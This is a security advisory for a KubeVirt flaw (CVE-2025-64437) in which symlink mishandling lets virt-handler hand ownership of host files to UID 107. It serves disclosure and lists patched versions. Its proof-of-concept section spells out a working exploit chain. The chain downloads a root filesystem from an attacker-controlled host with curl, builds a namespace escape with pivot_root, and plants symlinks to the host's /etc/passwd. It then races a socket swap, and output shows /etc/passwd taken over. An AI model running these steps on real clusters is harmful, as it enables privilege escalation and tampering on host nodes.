--- id: CVE-2025-64437 aliases: - GHSA-2r4r-5x78-mvqf - GO-2025-4102 title: KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes summary: KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes severity: medium cvss: 5 cvssVector: 'CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L' vendor: kubevirt product: kubevirt.io/kubevirt ecosystem: go affected: - kubevirt.io/kubevirt < 1.5.3 - 'kubevirt.io/kubevirt >= 1.6.0-alpha.0, < 1.6.1' patched: - kubevirt.io/kubevirt 1.5.3 - kubevirt.io/kubevirt 1.6.1 published: '2025-11-06' updated: '2026-09-10' sourceUpdated: '2026-09-10T03:50:30.376275294Z' source: OSV sourceUrl: 'https://osv.dev/vulnerability/GHSA-2r4r-5x78-mvqf' references: - url: >- https://github.com/kubevirt/kubevirt/security/advisories/GHSA-2r4r-5x78-mvqf - url: 'https://nvd.nist.gov/vuln/detail/CVE-2025-64437' - url: >- https://github.com/kubevirt/kubevirt/commit/3ce9f41c54d04a65f10b23a46771391c00659afb - url: >- https://github.com/kubevirt/kubevirt/commit/8644dbe0d04784b0bfa8395b91ecbd6001f88f6b - url: >- https://github.com/kubevirt/kubevirt/commit/f59ca63133f25de8fceb3e2a0e5cc0b7bdb6a265 - url: 'https://github.com/kubevirt/kubevirt' tags: - osv - go epss: 0.00215 epssPercentile: 0.12203 ingestedAt: '2026-09-12T03:13:01.746Z' --- ## Overview ### Summary _Short summary of the problem. Make the impact and severity as clear as possible. It is possible to trick the `virt-handler` component into changing the ownership of arbitrary files on the host node to the unprivileged user with UID `107` due to mishandling of symlinks when determining the root mount of a `virt-launcher` pod. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ In the current implementation, the `virt-handler` does not verify whether the `launcher-sock` is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID `107` (the same user used by `virt-launcher`) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the `virt-launcher` pod. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ In this demonstration, two additional vulnerabilities are combined with the primary issue to arbitrarily change the ownership of a file located on the host node: 1. A symbolic link (`launcher-sock`) is used to manipulate the interpretation of the root mount within the affected container, effectively bypassing expected isolation boundaries. 2. Another symbolic link (`disk.img`) is employed to [alter the perceived location of data within a PVC](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq), redirecting it to a file owned by root on the host filesystem. 3. As a result, [the ownership of an existing host file owned by root is changed to a less privileged user with UID 107](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-46xp-26xh-hpqh). It is assumed that an attacker has access to a `virt-launcher` pod's file system (for example, [obtained using another vulnerability](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-9m94-w2vq-hcf9)) and also has access to the host file system with the privileges of the `qemu` user (`UID=107`). It is also assumed that they can create unprivileged user namespaces: ```bash admin@minikube:~$ sysctl -w kernel.unprivileged_userns_clone=1 ``` The below is inspired by [an article](https://blog.quarkslab.com/digging-into-linux-namespaces-part-2.html), where the attacker constructs an isolated environment solely using Linux namespaces and an augmented Alpine container root file system. ```bash # Download an container file system from an attacker-controlled location qemu-compromised@minikube:~$ curl http://host.minikube.internal:13337/augmented-alpine.tar -o augmented-alpine.tar # Create a directory and extract the file system in it qemu-compromised@minikube:~$ mkdir rootfs_alpine && tar -xf augmented-alpine.tar -C rootfs_alpine # Create a MOUNT and remapped USER namespace environment and execute a shell process in it qemu-compromised@minikube:~$ unshare --user --map-root-user --mount sh # Bind-mount the alpine rootfs, move into it and create a directory for the old rootfs. # The user is root in its new USER namesapce root@minikube:~$ mount --bind rootfs_alpine rootfs_alpine && cd rootfs_alpine && mkdir hostfs_root # Swap the current root of the process and store the old one within a directory root@minikube:~$ pivot_root . hostfs_root root@minikube:~$ export PATH=/bin:/usr/bin:/usr/sbin # Create the directory with the same path as the PVC mounted within the `virt-launcher`. In it `virt-handler` will search for a `disk.img` file associated with a volume mount root@minikube:~$ PVC_PATH="/var/run/kubevirt-private/vmi-disks/corrupted-pvc" && \ mkdir -p "${PVC_PATH}" && \ cd "${PVC_PATH}" # Create the `disk.img` symlink pointing to `/etc/passwd` of the host in the old root mount directory root@minikube:~$ ln -sf ../../../../../../../../../../../../hostfs_root/etc/passwd disk.img # Create the socket wich will confuse the isolator detector and start listening on it root@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr - ``` After the environment is set, the `launcher-sock` in the `virt-launcher` container should be replaced with a symlink to `../../../../../../../../../proc/2245509/root/tmp/bad.sock` (2245509 is the PID of the above isolated shell process). This should be done, however, in a the right moment. For this demonstration, it was decided to trigger the bug while leveraging a race condition when creating or updating a VMI: ```go //pkg/virt-handler/vm.go func (c *VirtualMachineController) vmUpdateHelperDefault(origVMI *v1.VirtualMachineInstance, domainExists bool) error { // ... //!!! MK: the change should happen here before executing the below line !!! isolationRes, err := c.podIsolationDetector.Detect(vmi) if err != nil { return fmt.Errorf(failedDetectIsolationFmt, err) } virtLauncherRootMount, err := isolationRes.MountRoot() if err != nil { return err } // ... // initialize disks images for empty PVC hostDiskCreator := hostdisk.NewHostDiskCreator(c.recorder, lessPVCSpaceToleration, minimumPVCReserveBytes, virtLauncherRootMount) // MK: here the permissions are changed err = hostDiskCreator.Create(vmi) if err != nil { return fmt.Errorf("preparing host-disks failed: %v", err) } // ... ``` The manifest of the #acr("vmi") which is going to trigger the bug is: ```yaml # The PVC will be used for the `disk.img` related bug apiVersion: v1 kind: PersistentVolumeClaim metadata: name: corrupted-pvc spec: accessModes: - ReadWriteMany resources: requests: storage: 500Mi --- apiVersion: kubevirt.io/v1 kind: VirtualMachineInstance metadata: labels: name: launcher-symlink-confusion spec: domain: devices: disks: - name: containerdisk disk: bus: virtio - name: corrupted-pvc disk: bus: virtio - name: cloudinitdisk disk: bus: virtio resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes: - name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo - name: corrupted-pvc persistentVolumeClaim: claimName: corrupted-pvc - name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4= ``` Just before the line is executed, the attacker should replace the `launcher-sock` with a symlink to the `bad.sock` controlled by the isolated process: ```bash # the namespaced process controlled by the attacker has pid=2245509 qemu-compromised@minikube:~$ p=$(pgrep -af "/usr/bin/virt-launcher" | grep -v virt-launcher-monitor | awk '{print $1}') && ln -sf ../../../../../../../../../proc/2245509/root/tmp/bad.sock /proc/$p/root/var/run/kubevirt/sockets/launcher-sock ``` Upon successful exploitation, `virt-launcher` connects to the attacker controlled socket, misinterprets the root mount and changes the permissions of the host's `/etc/passwd` file: ```bash # `virt-launcher` connects successfully root@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr - ... 2025/05/27 17:17:35 socat[2245509] N accepting connection from AF=1 "" on AF=1 "/tmp/bad.sock" 2025/05/27 17:17:35 socat[2245509] N forked off child process 2252010 2025/05/27 17:17:35 socat[2245509] N listening on AF=1 "/tmp/bad.sock" 2025/05/27 17:17:35 socat[2252010] N reading from and writing to stdio 2025/05/27 17:17:35 socat[2252010] N starting data transfer loop with FDs [6,6] and [0,1] PRI * HTTP/2.0 ``` ```bash admin@minikube:~$ ls -al /etc/passwd -rw-r--r--. 1 compromised-qemu systemd-resolve 1337 May 23 13:19 /etc/passwd admin@minikube:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin _rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin systemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin statd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin docker:x:1000:999:,,,:/home/docker:/bin/bash compromised-qemu:x:107:107::/home/compromised-qemu:/bin/bash ``` The attacker controlling an unprivileged user can now update the contents of the file. ### Impact _What kind of vulnerability is it? Who is impacted?_ This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID `107` (the same user used by `virt-launcher`) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. ## Affected packages - `kubevirt.io/kubevirt < 1.5.3` - `kubevirt.io/kubevirt >= 1.6.0-alpha.0, < 1.6.1` ## Remediation Upgrade to a patched release: - `kubevirt.io/kubevirt 1.5.3` - `kubevirt.io/kubevirt 1.6.1`